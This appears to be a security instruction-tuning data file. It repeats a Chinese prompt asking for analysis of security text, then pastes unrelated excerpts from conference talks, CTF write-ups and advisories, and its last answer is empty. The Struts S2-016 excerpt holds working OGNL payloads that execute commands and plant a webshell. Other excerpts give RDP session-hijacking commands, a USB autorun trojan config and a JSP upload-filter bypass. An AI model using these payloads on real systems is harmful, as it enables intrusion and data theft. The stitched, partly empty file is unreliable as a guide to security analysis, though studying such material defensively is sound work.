SEGGER J-Links are the most widely used line of debug probes available today- www.segger.com Somerset Recon Segger Software  J-Link Software Package  J-Link GDB Server RTOS Plugin SDK  SystemView - Real-time Analysis and Visualization  Ozone Graphical Debugger  J-Scope Data Analysis and Visualization Tool  Much more... We focused on the J-Link Software Package Somerset Recon J-Link Software A


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ProxyLogon is Just the Tip of the Iceberg A New Attack Surface on Microsoft Exchange Server! Orange Tsai USA 2021 Orange Tsai  Orange Tsai, focusing on Web and Application 0-day research  Principal Security Researcher of DEVCORE  Captain of HITCON CTF Team  Speaker of Security Conferences  Black Hat USA & ASIA / DEFCON / HITB / HITCON   Selected Awards and Honors:  2017 - 1st place of Top 10 Web Hacking Techniques  2018 - 1st place of Top 10 Web Hacking Techniques  2019 - Winner of Pwnie Awards "Best Server-Side Bug"  2021 - Champion and "Master of Pwn" of Pwn2Own Disclaimer All vulnerabilities disclosed today are reported responsibly and patched by Microsoft Why Target Exchange Server? 1. Mail servers always keep confidential secrets and Exchange Server is the most well-known mail solution for enterprises and governments worldwide 2. Has been the target for Nation-sponsored hackers for a long time (Equation Group) 3. More than 400,000 Exchange servers exposed on the Internet according to our survey Exchange Security in the Past Years  Most bugs are based on known attack vectors but there are still several notable bugs: 1. EnglishmansDentist from Equation Group:  Recap: A only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003 2. CVE-2020-0688 Hardcoded MachineKey from anonymous working with ZDI:  Recap: A classic .NET deserialization bug due to a hardcoded cryptography key. This is also a hint shows Microsoft Exchange is lacking of security reviews Our Works  We focus on the Exchange architecture and discover a new attack surface that no one proposed before. That's why we can pop 0days easily!  We discovered 8 vulnerabilities that covered server-side, client-side, and crypto bugs through this new attack surface, and chained into 3 attacks: 1. ProxyLogon: The most well-known pre-auth RCE chain 2. ProxyOracle: A plaintext-password recovery attacking chain 3. ProxyShell: The pre-auth RCE


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1563-002-win-远程服务会话劫持-RDP劫持 ## 来自ATT&CK的描述 攻击者可能会劫持合法用户的远程桌面会话用以在内网环境中横向移动远程桌面是操作系统中的常见功能它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话Microsoft 将其远程桌面协议 (RDP) 的实现称为远程桌面服务 (RDS) 攻击者可能会进行RDP会话劫持包括窃取合法用户的远程会话通常情况下当别人试图窃取他们的会话时用户会得到通知通过系统权限和使用终端服务控制台c:\windows\system32\tscon.exe[要窃取的会话号码]攻击者可以劫持一个会话而不需要凭证或提示用户这可以在远程或本地进行也可以在活动或断开的会话中进行 它还可以通过窃取域管理员或更高权限的帐户会话来导致远程系统发现和权限提升所有这些都可以通过使用本机Windows命令来完成但它也已作为红队工具中的一项能力 ## 测试案例 ### 测试1 RDP hijacking RDP劫持--如何透明地劫持RDS和RemoteApp会话以便在内网中移动 测试命令用命令提示符运行 需要提升等级如root或admin ``` query user sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}" net start sesshijack ``` Session_ID1337 Destination_IDrdp-tcp#55 清除命令 ``` sc.exe delete sesshijack >nul 2>&1 ``` ## 检测日志 windows 安全日志Windows sysmon日志 ## 测试复现 ### 测试1 RDP hijacking ``` C:\Users\Administrator.ZHULI>query user 用户名 会话名 ID 状态 空闲时间 登录时间 >administrator console 1 运行中 无 2022/1/13 16:10 C:\Users\Administrator.ZHULI>sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:1" [SC] CreateService 成功 C:\Users\Administrator.ZHULI>net start sesshijack 服务没有响应控制功能 请键入 NET HELPMSG 2186 以获得更多的帮助 ``` 由于测试样机无RDP登陆会话故测试未成功复现 ## 测试留痕 ### 测试1 RDP hijacking ``` Process Create: RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-13 08:17:07.755 ProcessGuid: {78c84c47-e003-61df-3f01-000000000900} ProcessId: 2640 Image: C:\Windows\System32\sc.exe FileVersion: 10.0.17763.1 (WinBuild.160101.0800) Description: Service Control Manager Configuration Tool Product: Microsoft Operating System Company: Microsoft Corporation OriginalFileName: sc.exe CommandLine: sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:1" CurrentDirectory: C:\Users\Administrator.ZHULI\ User: ZHULI\Administrator LogonGuid: {78c84c47-de8c-61df-d399-0a0000000000} LogonId: 0xA99D3 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=622FA2729408E5F467A592223219DA7C547E7CC7,MD5=ABB56882148DE65D53ABFC55544A49A8,SHA256=78097C7CD0E57902536C60B7FA17528C313DB20869E5F944223A0BA4C801D


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# S2-016 Remote Code Execution Vulnerablity [中文版本(Chinese version)](README.zh-cn.md) Affected Version: 2.0.0 - 2.3.15 Details: - http://struts.apache.org/docs/s2-016.html - http://www.freebuf.com/articles/web/25337.html ## Setup ``` docker compose build docker compose up -d ``` ## Exploit Visit `http://your-ip:8080/index.action?redirect:OGNL expression` to execute an OGNL expression. Execute `uname -a`: ``` redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} ``` Get web directory: ``` redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()} ``` Get webshell ``` redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()} ``` Result: ![](01.png)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DoS: Denial Of Shopping Analyzing and Exploiting (Physical) Shopping Cart Immobilization Systems by Joseph Gabay A Disclaimer This talk is the result of my personal project. Any views, opinions, or research presented in this talk are personal and belong solely to me. They do not represent or reﬂect those of any person, institution, or organization that I may or may not be associated with in a professional or personal capacity unless explicitly stated otherwise. Who are you? Who are you? And how did you get in here? Joseph Gabay Joseph Gabay Hacker, Maker, Flat Mooner, Collector of Silly Domain Names and Random Certiﬁcations. I also build robots sometimes. Wait, shopping cart whatnows?  Invisible fence, for carts.  No, really.  Shopping cart locks when taken out of parking lot  Other, more niche applications  Stopping runouts  Gatekeeper Systems estimates $180 million in annual shopping cart theft Okay, but why shopping cart wheels? Or, a brief ramble about hacking. It's not worth doing something unless someone, somewhere, would much rather you weren't doing it. - Sir Terry Pratchett GNU Terry Pratchett How do they work?  Magnetic Loop System  Underground perimeter wire sends out signal  Current through wire produces magnetic ﬁeld  Cart senses ﬁeld, locks using internal mechanism  Store staff has remote that can unlock carts Anatomy of a Shopping Cart Wheel - Locking Mechanism Anatomy of a Shopping Cart Wheel - Locking Mechanism Mechanism expands/contracts inner ring Anatomy of a Shopping Cart Wheel - Locking Mechanism Mechanism expands/contracts inner ring Ridges on inner ring lock into ridges inside wheel casing Anatomy of a Shopping Cart Wheel - Internal View  3V Lithium Battery  µC likely optimized for low power consumption  DC Motor  Drives gearbox to expand/contract ring  PCBa hosts radios and microcontroller 3V Lithium Battery Motor PCB Assembly Anatomy of a Shopping Cart Wheel - PCBa  2 Separate Antennas  2.4G - PCB Trace  7.8K - Inductor  TI CC2510 Microcont


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Veil%Pillage:** Post%Exploitation*2.0* Will$$ @harmj0y* Veris$Group$$Adaptive$Threat$Division$ $*whoami*  Security$researcher$and$pentester/red$teamer$ for$Veris$Groups$Adaptive$Threat$Division$$  Co?founder$of$the$Veil?Framework$#avlol$  www.veil?framework.com$  Shmoocon'14:'AV$Evasion$with$the$Veil$ Framework$  co?wrote$Veil?Evasion,$wrote$Veil?Catapult,$Veil? PowerView,$and$PowerUp$ $  Active$Cortana,$Powershell,$and$NovaHacker!$ tl;dr*  The$Veil?Framework$  Post$Exploitation;$redux$  Veil?Pillage$  Current$Module$Overview$  Hashdumping$and$Plaintext$Creds$  Demos$  KB$2871997$(Microsoft$PTH$ﬁx?)$  Module$Releases$and$Development$  Recap$ The*Veil%Framework* How$We$Got$Here$ Background*  Started$with$the$May$2013$release$of$ Veil,$later$renamed$to$Veil?Evasion$  Utilizes$various$languages$and$ techniques$to$generate$AV?evading$ payloads$  shellcode$injection$and$pure$meterpreter$ stagers$  Debuted$at$Shmoocon$14:$AV$Evasion, with,the,Veil$Framework,  https://www.veil?framework.com/$ How*We*Got*Here*  After$dealing$with$AV?evasion,$focus$ moved$to$payload$delivery$  Wanted$a$way$to$trigger$backdoors$on$ target$boxes$in$a$stealthy$way$  Released$at$Shmoocon'14,$Veil? Catapult$can$upload/host$and$execute$ binaries,$as$well$as$few$other$common$ tricks$ The*Attack*Cycle* Recon$ Enumeration$ Exploitation$ Post? exploitation$ Post%Exploitation;*Redux* Identify$points$that$aﬀect$business$impact$ Datamine$for$Sensitive$Information$ Establish$Persistence$ Acquire$Domain/Network$Administrative$Privileges$ Identify$Further$Exploit$Points$ Escalate$Privileges$ Gain$Situational$Awareness$ Gain$Access$Through$Exploit$ Post%Exploitation;*English*  If$you$have$access$and/or$credentials$for$ one$or$more$machines$on$a$network,$ what$can$you$do?$  Example:'say$you$have$a$local$ administrator$hash$for$remote$hosts,$ and$want$to$grab$plaintexts$of$other$ logged$on$users$on$those$hosts?$ Post%Exploitation;*Today*  Option'#1:'PSEXEC$to$a$box$with$ Metasploit,$then$getsystem/wdigest$  Ad


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## rhinoxorus (pwn, 500p, ? solves) Dostajemy program i analizujemy go. Po uruchomieniu wczytuje on zawartość pliku password.txt do zmiennej globalnej, i zaczyna nasłuchiwać na porcie 24242 i forkuje się dla każdego połączenia. Każdy fork wczytuje 256 bajtów od usera i wywołuje jakąś funkcję z globalnej tablicy funkcji: ``` bytes_read = recv(sockfd, recv_buf, (unsigned int)BUF_SIZE, 0); if (bytes_read > 0) func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read); ``` Każda z funkcji jest podobna, i wygląda mniej więcej tak: ``` unsigned char func_32(unsigned char *buf, unsigned int count) { unsigned int i; unsigned char localbuf[0x84]; // stała 0x84 jest różna dla każdej funkcji w tablicy unsigned char byte=0x84; // stała 0x84 jest różna dla każdej funkcji w tablicy memset(localbuf, byte, sizeof(localbuf)); printf("in function func_32, count is %u, bufsize is 0x84\n", count); if (0 == --count) return 0; for (i = 0; i < count; ++i) localbuf[i] = buf[i]; func_array[localbuf[0]](localbuf+1, count); return 0; } ``` Od razu widać że łatwo wywołać przepełnienie bufora, ale niestety - stos jest chroniony kanarkami więc nie będzie tak łatwo. W kodzie widać też nieużywaną nigdzie funkcję socksend która wysyła podany w argumencie bufor do podanego w argumencie socketa. Po chwili zastanowienia dochodzimy do wniosku że możemy pominąć kanarka po prostu xorując go z zerami. Następnie jedyne co musimy zrobić, to nadpisać adres powrotu w odpowiedni sposób, tak żeby wywołać funkcję socksend z parametrami socksend(fd, password, BUF_SIZE) (w ten sposób program sam wyśle do nas flagę). Niestety nie jest tak prosto, na stosie nie ma wystarczająco wiele miejsca żeby zmieścic argumenty dla funkcji socksend (po nadpisaniu zmiennej 'counter' kończy się wykonanie funkcji). Ale jeśli postaramy się, możemy przeskoczyć do ramki funkcji niżej. Używamy do tego następującego gadgetu: ``` gadget_pop: add esp, 0Ch ; pominięcie 3 elementów na stosie pop ebx ; zdjęcie elementu ze stosu (i zapisanie


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Patience (RE, 769p) This was a haskell reversing challenge. If this doesn't fill you with dread, this means that probably either: - you are most 1338 pr0 xakep r3v3rse engineer ever living - you don't comprehend the amount of horror that you're going to witness. Either way, you're in for some serious fun. In fact, I've never seen anyone actually reverse engineer (non-trivial) haskell binary before - most challenges are actually solved with black-box workarounds or other side channels. This task is no different - we are given .cmm file along with compiled binary. CMM files are dump of late-stage intermediate language from GHC. This is going to make our life way easier - we don't have to reverse haskell thunks, we have everything in plain text... well, sort of. ## How to be lazy A word of introduction to the beautiful world of functional programming. Haskell is a lazy language. But not just your average slightly-procrastinating kind - everything is delayed as long as it possibly can be, and I mean it. For example, consider this function: ```haskell integers n = n : integers (n+1) ``` if you don't speak Haskell, this is conceptually equivalent to following python code: ```python def integers(n): return [n] + integers(n + 1) ``` Do you see anything wrong with this code? Exactly, this is not a terribly useful function - it'll recurse forever, or rather eat all your available stack space and explode. Not in Haskell though - you can call this function, take first 100 elements of the result, and get perfectly useful result - haskell is *lazy*, so only necessary elements will be evaulated. But this still doesn't explain just how lazy Haskell is. Consider this: ```haskell foo (2 + 2) ``` This is just invoaction of function `foo` with parameter `4`. Wait, wrong, I lied to you. The parameter is `2 + 2`, and it's not actually evaluated until it's needed. Hell, you could've passed `1 / 0` and nothing bad would happen, at least until something actually evaulates the parameter. #


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Increasing the security of your election by ﬁxing it Daniel C. Silverstein Damon McCormick dans@csua.berkeley.edu damonmcc@uclink.berkeley.edu Part One: Disaster Strikes The 2000 US Presidential Election led many to question the accuracy of paper ballot systems Several companies seized on this opportunity to promote electronic voting systems:  Election Systems & Software  Diebold Election Systems  Hart InterCivic  Sequoia Voting Systems  ...three independent but redundant memory paths ensure that no votes will ever be lost or altered. [1]  ...World-class encryption techniques utilized to store election results. [2]  Proprietary ﬁrmware on closed system prevents hacker access. [3] Lofty Promises Made  Trust Us!  We know what were doing!  Of course we don't have bugs!  Don't have security holes either!  And, even if we did, (which we dont) nobody could ever actually exploit them The Message? And so, Democracy was made safe from evil hackers The End If it looks like snake oil... And it smells like snake oil... And it tastes like snake oil... Its probably snake oil [4] Or Not Q: Whats the ﬁrst thing you do after rooting a box? Q: Whats the second thing you do after rooting a box? Pop Quiz 1 A: Hide your presence A: Patch the hole you came in through (so nobody else can use it) Q: How do you tell that someone rooted your box? Pop Quiz 2 A: Good question! Forensics analysis is hard! You can't trust information from a compromised machine. Q: How do you tell that someone tampered with the electronic voting machine you just used to vote? A: You dont Pop Quiz 3  The major commercial electronic voting machines do not produce a voter veriﬁable paper trail  Though, thanks in part to the work of David Dill [5], some of the vendors are testing prototypes that do  Without a paper trail, thre is no way to detect tampering No Paper Trail  The major commercial electronic voting systems are proprietary platforms, protected as trade secrets  Members of the security community at large ca


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 次jsp上传绕过的思考 背景 解决案 jsp利EL表达式绕过 jspx利命名空间绕过 jspx利<jsp:expression>绕过 @yzddmr6 前天有个伙伴做项的时候遇到个问题来问我概情况如下 1. jsp的站可以任意件上传 2. 上传jsp会把<%中的<给转义掉 3. 上传jspx会把<jsp:scriptlet>到</jsp:scriptlet>中的内容替换为空 问有什么突破办法 背景 2 当时研究了下后jsp和jspx各给了个解决案发到星球后@hosch3n师傅给了种案tql 其实问题等价于 1. jsp不使<% %>标签如何执命令 2. jspx不使<jsp:scriptlet> </jsp:scriptlet>如何执命令 解决案 3 jsp是默认解析el表达式的并且在没有jsp标签的情况下也可以直接执这样就可以绕过jsp的限制 星球@Gh0stFx也提到了这点 因为jspx实际上是jsp的xml写法所以继承了xml的所有特性例如cdata跟html实体编码等同样也继承 了命名空间的特性 https://www.runoob.com/xml/xml-namespaces.html jsp利EL表达式绕过 jspx利命名空间绕过 4 在<jsp:scriptlet>这个标签中jsp就是默认的命名空间但是实际上可以随意替换成其他名字 这样就绕过了对<jsp:scriptlet>的过滤 在jsp中可以利表达式绕过那么jspx中同样也可以以下是jsp跟jspx语法的对照 jspx利<jsp:expression>绕过 JSP语法 JSP document语法 Page Directive <%@ page %> <jsp:directive.page /> 5 这个法是@hosch3n师傅提出来的把表达式写到jspx中同样可以达到执命令的的 Include Directive <%@ include %> <jsp:directive.include /> Tag Library Directive <%@ taglib %> xmlns:prefix=Library URI Declartion <%!  %> <jsp:declaration>  </jsp:declaration> Scriplet <%  %> <jsp:scriptlet>  </jsp:scriptlet> Expression <%=  %> <jsp:expression>  </jsp:expression> Comment <%--  --%> <!--  -->


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Practical Aerial Hacking & Surveillance Glenn Wilkinson SensePost DefCon 2014 @glennzw Glenn Wilkinson @glennzw SensePost.com @glennzw @glennzw @glennzw Practical Aerial Hacking & Surveillance? @glennzw Hacking? @glennzw Aerial? @glennzw Surveillance? @glennzw Practical? @glennzw Why oh why bring drones into ? @glennzw https://www.youtube.com/watch?v=BlVjdUkrSFY @glennzw Recipe  Aerial Platform  Ground control / automation  Hacking / surveilling equipment  A methodology @glennzw 1. Aerial Platform Barrier to entry Practicality @glennzw 2. Ground Control / Automation @glennzw 3. Equipment @glennzw 4. Methodology @glennzw Its already ground based... @glennzw Retail @glennzw Military @glennzw Text http://dronesurvivalguide.org @glennzw Conference Unique,Devices Number,of, A4endees Device,Per,Person BlackHatVegas,12 4778 6500 0.74 ITWeb,12 1106 400 2.77 44CON,12 969 350 2.77 BlackHatEU,13 681 607 1.12 Securitay,13 375 100 3.75 BSides,13 208 474 0.44 Hackito,13 309 400 0.77 CERT,Poland,13 598 500 1.2 ZeroNights,13 507 600 1.18 BlackHat,Brazil,13 719 ? BlackHat,Asia,14 398 500 0.80 @glennzw glenn@sensepost.com jobs@sensepost.com http://research.sensepost.com/


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From One Country - One Floppy to Startup Nation The story of the early days of the Israeli hacking community  PerimeterX 2016 2 Israeli Tech Leaders: Lets see how it all started Hacking Cracking Phreaking Carding 90s Terminology The BBS Scene The BBS Scene The BBS Scene BBS Mischief The Story of the Ethics Group [Ref] The Demo Scene The Virus Scene Virii Israels part of the scene Haifa Jerusalem Search for attribution? [Ref1] Anti Virii List of famous Israeli products Screenshots when possible Personal anecdote: Inbar and the Haifa virus Inbar and Uzi Apple/Yuval Tal VirusBuster [Ref1] Anti Virii Reverse Engineering Tool Evolution Debug -> Turbo Debugger -> Soft-ICE/TRW -> Ollydbg Sourcer -> IDA Pro Contributions Anti Debugging Tricks Cracking Learning to Code Hardware Copy Protection The Story of unasi Music: ftp://modland.ziphoid.com/ pub/modules/Protracker/ Fred%20(FR)/intro1.mod The story of untiny Internet Timeline in Israel So we understand we need to take care of ourselves Edens Story of Fin (Sam) Phreaking Phreaking Calling Cards Friends who were operators No OPSEC whatsoever back then Telephony played DTMF to a token-operated pay phone PBX wardialing Carding CBI & TRW credit verification systems [Ref1] Trade vs. Use The ethical line of proud hackers Youll notice that for this particular category, we dont have anecdotes ;-) Famous Busts Deri Schreibman (1991) First public Israeli case [Ref1] [Ref2] Analyzer (1998, 2008, 2013) Ehud Tennenbaum [Ref1] Michael HaEfrati (2005) The Trojan Horse story [Ref1] Ashkelon Hacker (2017) Convergence Epilogue


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Confessions(of(a(Professional(Cyber(Stalker( KEN(WESTIN( SR(SECURITY(ANALYST(( KWESTIN@GMAIL.COM(( @KWESTIN( STALKER(REVEALED( D Ken(WesEn(( D Former(ethical(cyber(stalker( D Developed(privacy(invading(tools((for(good)( D Put(bad(people(in(jail( D Trained(law(enforcement(on(invesEgaEve((OSINT)(techniques( D Currently(Sr.(Security(Analyst(at(Tripwire(Inc( D Advisor(for(Spyaware.be(and(Biom.io(( ( ( USB(Hacks( Windows(USB(Trojans( [autorun]( icon=icon.ico( open=passwords.exe( acEon=Install(USB(driver( label=My(Crap( shell\open\command=passwords.exe( shell\open=Install(USB(driver( Windows(Agent(  URL(provided(during(presentaEon( First(iPod(Recovery( Building(Apple(USB(Trojans(  Why(AppleScript?(  Trusted(  Interfaces(for(most(OS(X(apps( (  Tricking(OS(X(with(Homoglyphs((( BiEng(Into(the(AppleScript( ----- tell application "iTunes" activate try open location trackURL end try end tell do shell script " set sysinfo to (system info) as record set uname to long user name of sysinfo set user to short user name of sysinfo set cname to computer name of sysinfo set sip to IPv4 address of sysinfo github.com/kwesEn/applerazor( USB(Aaack(Vector(SEll(a(Threat(  The(Stuxnet(virus(was(iniEally(delivered( via(USB(to(Iranian(nuclear(faciliEes,( eventually(spreading(to(Russian(faciliEes( in(the(same(way.(( (  USB((Malware(has(even(made(it(to(the( InternaEonal(Space(StaEon(((2008( W32.Gammima.AG(worm)(( (  In(2012(two(US(power(plants((ICSDCERT)( were(inﬁltrated(when(an(employee( inadvertently(brought(an(infected(USB( sEck(onto(the(premises.( The(Trouble(with(IP(as(Evidence(  Requires(work(by(law(enforcement((paperwork)(  Not(idenEty,(does(not(put(person(in(front(of(computer(  Probable(cause(is(a(challenge(  Not(always(accurate((proxies(etc)(  Takes(a(long(Eme(  Other(thei(recovery(companies(use(more(intrusive( methods(( 2009D02D21(23:43:49( When(CorrelaEon(Does(Imply(CausaEon(( Data$Created$By$Us$ Data$Created$For$Us$ Data$Created$About$Us$ BogeyData$ InteracEon(of(Things( DEVICE(ID( SOC


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ericsson's EDACS Trunking http://www.signalharbor.com/ttt/00apr/index.html 1 of 7 6/18/2007 14:07 This article first appeared in the April 2000 issue of Monitoring Times. Ericsson's EDACS Trunking Motorola has several competitors in the trunked public safety radio system marketplace. One popular alternative is the Ericsson/General Electric Enhanced Digital Access Communications System, or EDACS for short. EDACS operates in VHF, UHF, 800, and 900 MHz bands, and is used by private businesses as well as public safety organizations. Second generation trunk-tracking scanners such as the Bearcat 245XLT and PRO-92 as well as publicly available computer software are capable of scanning these systems effectively. Channels Each repeater site in an EDACS system has a dedicated Control Channel that continuously transmits signaling and command information out to the mobile radios. Channel requests and other mobile messages are transmitted to the repeater on this channel as well. Listening to this channel on a normal scanner will result in just a constant buzz of digital information. Each EDACS site, in addition to the Control Channel, may have as many as 23 Working Channels. These channels carry voice and data between mobile radios and dispatch centers. From an operational perspective EDACS systems have better performance should equipment fail or interconnections be lost. If the central controller in a Motorola system fails or cannot communicate with a repeater, the repeater will revert to conventional mode, losing all ability to trunk and forcing users to share frequencies manually. EDACS, on the other hand, goes into a "failsoft" mode where trunking cards at each repeater site continue to provide basic trunking features. Another difference between Motorola and EDACS is how channels are assigned. Control messages in a Motorola system use a FCC channel number to indicate the specific radio frequency to use, so listeners can enter those frequencies into trunk-tracking scanners in


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Wireless Aerial Surveillance Platform W.A.S.P. DEFCON 19 Who we are. Project Inception - October 2009  Dude, I have an idea  Build a UAV  Provide remote penetration testing capabilities  Useable flight time (~1 hour)  Man portable  Design Philosophy  Low cost  Utilize open source and off-the-shelf components  Focus on system integration not component design  Easily repeatable by anyone Specifications So what is it? Airframe Airframe  FMQ-117B U.S. Army surplus target drone  Foam contruction  ~14 pound take-off weight  E-Flite 90 brushless out runner motor  Castle Creations Phoenix 85HV ESC  17x10electric propeller  2x 6 cell 22.2v 5000mAh LiPo batteries Avionics Avionics  JR Spektrum Dx6i Transmitter and Receiver  2.4GHz  DIY Drones ArduPilot  ArduShield  XY&Z Infrared sensors  Various servos  XBee Pro with AdaFruit adapter  900MHz  Telemetry downlink Payload Payload Payload  Via Epia PX5000eg Pico-ITX motherboard  1 GHz Via C7 CPU  1GB ram  8GB Voyager GTR Flash drive  Backtrack 5  USB 4G dongle  Internet connection  OpenVPN connection to Backend  Session Initiation Protocol (SIP) back haul  XBee Pro module  900MHz  PPP tunnel to Base Station  Universal Serial Radio Peripheral (USRP) Base Station Base Station  Gumstix Overo Earth  ARM Cortex-A8 600Mhz  Chestnut43 add-on module  4.3 touchscreen display  XBee Pro  900MHz  PPP tunnel to the payload  DIY Drones ArduStation  XBee Pro  900MHz  Telemetry down-link from Ardupilot  Asus WL-330gE Wi-Fi Access Point  Allows easy and direct access to payload Backend  Intel P4 3.06GHz HT Processor  4GB Memory  500GB Hard Drive  NVIDIA GTX 470  CUDA Processor  Software  Pyrit  ~19,300 Pairwise Master Keys (PMKs) / second  Asterisk  WPA Brute Force Dictionary  4 GB  354,638,643 Entries  4.5 hours to process entire dictionary against WPA handshake  OpenVPN Server Capabilities Yes, but what does it do? System Topology Base Station Internet VPN to Off-Airframe Processing Backend Systems Capabilities Movie goes here Capabilities  Bas


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 Google Drive 上传具编写 有天有找我帮忙写个具被我义正辞的拒绝了我可不帮写具我只是爱学习 这部分内容官档写得很是清楚Google 提供的 APIs 访问是基于 Oauth2.0 认证的其流程可以 致分为以下个步骤 1. 客户端 App 发起认证若户没有登录则需要先登录 2. 弹出授权户点击允许后Google 认证服务器给我们返回个授权码Authorization code 3. 客户端获取到授权码以后授权码向认证服务器请求 Access Token 4. 服务器验证授权码误后返回 Access Token 客户端 5. 拿到 Access Token 以后就可以访问 Google APIs 了其实这还会返回个Refresh token 家直接看下的图可能会较好理解点 上的流程只是基于第次获取 Access Token 的情况因为 Access Token 是有期限的默认是1个 时Access Token 过期之后就需要通过 Refresh Token 来向 Google 认证服务器申请个新的 Access token不需要经历上的1,2,3步 0x00 基本认证 2 Refresh Token 并不是直有效的在下的种情况下将会失效 户撤销了对应程序的授权 该 Refresh Token 已超过 6 个未使 户修改了密码并且 Refresh Token 授权的 Scope 包含了 Gmail 户账号的 Refresh Token 数量已超出最数量 户属于具有有效会话控制策略的 Google Cloud Platform 组织 前每个户账号每个授权凭证有 25 个 Refresh Token 的数量限制如果超过了这个限制当你新建 个 Refresh token 的时候将会使最早创建那个失效般来说我们在经过户授权拿到授权码请 求到 Refresh Token 后必须把它缓存起来以便后续更新 Access Token 因此在实际使时使 Refresh Token 来申请 Access Token 即可 登录 Google访问 https://console.cloud.google.com/cloud-resource-manager?organizationId=0 点击创建项 0x01 Refresh Token 期限      0x02 实操获取 Token 2.1 创建应及 OAuth 客户端 ID 3 项名称可定义创建后进 API 和服务-> OAuth 同意屏幕 4 5 完成之后进凭证创建 OAuth 客户端 ID 应类型选择桌应-> 创建 成功获取到想要的客户端 ID 和 客户端密钥 还有两步差点忘了 6 选择库搜索 Google Drive API-> 启 组装下连接放浏览器中访问 2.2 获取 Authorization code Plain Text 复制代码 https://accounts.google.com/o/oauth2/auth?client_id=[Application Client Id]&redirect_uri=http://localhost&scope=[Scopes]&response_type=code 1 7 由于我这已经登录了账号因此直接点账号即可 8 成功获取 code 关于常的 Scope POST 请求以下内容 2.3 获取 Access Token 和 Refresh Token Scope 描述 https://www.googleapis.com/a uth/drive.file 对应程序创建或打开的件进逐个访问 https://www.googleapis.com/a uth/drive 访问户所有件的完全允许的范围只有在严格需要的情 况下才会申请这个范围 https://www.googleapis.com/a uth/drive.appdata 允许访问 应程序数据件夹 9 成功获取到两个 Token 由于每个 Access Token 有效时间很短因此当 Access Token 过期后服务器需要使 Refresh Token 来获取新的 Access Token  2.4 通过 Refresh Token 获取 Access Token Plain Text 复制代码 https://accounts.google.com/o/oauth2/token httpBody: code={0}&client_id={1}&client_secret={2}&redirect_uri= {3}&grant_type=authorization_code 1 2 3 4 Plain Text 复制代码 https://accounts.google.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright  2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 This is not the droid you're looking for... Christian Papathanasiou Nicholas J. Percoco June 21st, 2010 Trustwave - 2 - Copyright  2010 Trustwave. All Rights Reserved. A Whitepaper for DEF CON 18, July, 2010 Table of Contents 1 EXECUTIVE SUMMARY............................................................................................ 3 1.1 About the authors.................................................................................................. 4 2 INTRODUCTION TO GOOGLE ANDROID ................................................................. 5 3 MOTIVATIONS BEHIND THIS WORK ...................................................................... 7 4 LINUX KERNEL ROOTKITS...................................................................................... 9 4.1 Hurdles we faced when developing the Android rootkit........................................... 11 4.1.1 Retrieving the sys_call_table address ......................................................... 11 4.1.2 Compiling against the HTC Legend Linux kernel source code........................ 12 4.1.3 Enabling system call debugging ................................................................. 14 5 THE ANDROID ROOTKIT....................................................................................... 18 5.1 sys_read system call hooking ............................................................................... 18 5.2 Hiding from the user and from the OS................................................................... 19 5.3 Implications ........................................................................................................ 20 6 CONCLUSIONS...................................................................................................... 22 7 REFERENCES......................................................................................................... 23 Trustwave - 3 - Copyrigh


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

